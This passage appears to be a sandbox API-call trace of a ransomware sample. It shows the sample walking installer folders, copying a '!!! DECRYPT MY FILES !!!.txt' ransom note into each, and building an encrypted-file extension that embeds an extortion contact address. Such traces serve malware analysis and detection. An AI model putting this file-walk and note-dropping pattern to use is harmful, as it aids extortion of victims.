lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0091.160] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf3768b28, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d51c0 [0091.160] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0091.160] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\1053\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\1053\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0091.172] GetProcessHeap () returned 0x630000 [0091.172] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1388, Size=0x14) returned 0x6b0318 [0091.172] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0091.172] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1053\\eula.rtf", psz="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 1 [0091.172] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\1053\\localizeddata.xml") returned 0x2c [0091.172] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0091.172] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0091.172] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0091.173] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0091.173] GetProcessHeap () returned 0x630000 [0091.173] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0318, Size=0x18) returned 0x6b0418 [0091.173] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0091.173] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1053\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\1053\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 1 [0091.173] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\1053\\setupresources.dll") returned 0x2d [0091.173] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0091.173] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0091.173] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0091.173] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0091.173] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0091.173] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0091.174] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1055", cAlternateFileName="")) returned 1 [0091.174] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\1055\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\1055\\") returned 1 [0091.174] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1055\\") returned 0x1b [0091.174] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0091.174] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0091.174] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e40 [0091.174] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.174] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0091.175] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\1055\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 1 [0091.175] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\1055\\eula.rtf") returned 0x23 [0091.175] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0091.175] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0091.175] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0091.175] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0091.175] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0091.175] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0091.175] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf3768b28, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d51c0 [0091.175] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0091.175] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\1055\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\1055\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0091.180] GetProcessHeap () returned 0x630000 [0091.180] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0418, Size=0x1c) returned 0x6e8f40 [0091.180] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0091.180] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1055\\eula.rtf", psz="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 1 [0091.180] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\1055\\localizeddata.xml") returned 0x2c [0091.180] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0091.180] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0091.181] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0091.181] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0091.181] GetProcessHeap () returned 0x630000 [0091.181] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8f40, Size=0x20) returned 0x6e9288 [0091.181] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0091.181] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1055\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\1055\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 1 [0091.181] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1055\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\1055\\setupresources.dll") returned 0x2d [0091.183] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0091.183] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0091.183] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0091.183] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0091.183] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0091.183] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0091.184] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2052", cAlternateFileName="")) returned 1 [0091.184] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\2052\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\2052\\") returned 1 [0091.184] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\2052\\") returned 0x1b [0091.184] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0091.184] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0091.184] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d53c0 [0091.184] FindNextFileW (in: hFindFile=0x6d53c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.185] FindNextFileW (in: hFindFile=0x6d53c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0091.185] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\2052\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 1 [0091.185] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\2052\\eula.rtf") returned 0x23 [0091.185] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0091.185] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0091.185] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0091.185] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0091.185] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0091.185] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0091.185] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf3768b28, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5040 [0091.186] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0091.186] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\2052\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\2052\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0091.190] GetProcessHeap () returned 0x630000 [0091.190] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9288, Size=0x24) returned 0x699c78 [0091.191] FindNextFileW (in: hFindFile=0x6d53c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0091.191] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\2052\\eula.rtf", psz="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 1 [0091.191] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\2052\\localizeddata.xml") returned 0x2c [0091.191] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0091.191] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0091.191] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0091.191] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0091.191] GetProcessHeap () returned 0x630000 [0091.191] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699c78, Size=0x28) returned 0x699948 [0091.191] FindNextFileW (in: hFindFile=0x6d53c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0091.191] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\2052\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\2052\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 1 [0091.192] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\2052\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\2052\\setupresources.dll") returned 0x2d [0091.192] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0091.192] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0091.192] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0091.192] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0091.192] FindNextFileW (in: hFindFile=0x6d53c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, 